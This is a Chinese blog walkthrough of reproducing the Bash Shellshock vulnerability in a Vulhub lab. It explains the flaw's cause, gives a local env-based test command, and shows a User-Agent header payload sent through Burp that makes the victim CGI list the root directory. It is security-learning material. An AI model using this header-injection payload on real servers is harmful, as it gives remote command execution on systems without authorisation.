Shellshock漏洞复现

bash说明

Bash是Unix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上。

漏洞原理

目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题的是以”(){”开头定义的环境变量在命令env中解析成函数后,Bash执行未退出,而是继续解析并执行shell命令,而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。

漏洞复现

环境说明

  • linux(装有vulhub靶场)
  • Windows2012(攻击机)

漏洞条件

Bash <= 4.3

漏洞复现

  1. 测试Linux是否存在shellshock漏洞
    执行命令:env x='() { :;}; echo shellshocked' bash -c "echo hi",如果出现图中所示的结果就表示存在shellshock漏洞。
    在这里插入图片描述
  2. 进入靶场,靶场的搭建可以参见我的上一篇博文:Vulhub靶场搭建
    http://#{ip}:8080/victim.cgi
    在这里插入图片描述
  3. 打开burp,抓包,构造User-Agent,然后发送。
    User-Agent: () { :;};echo ; echo; echo $(/bin/ls /);
    在这里插入图片描述
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值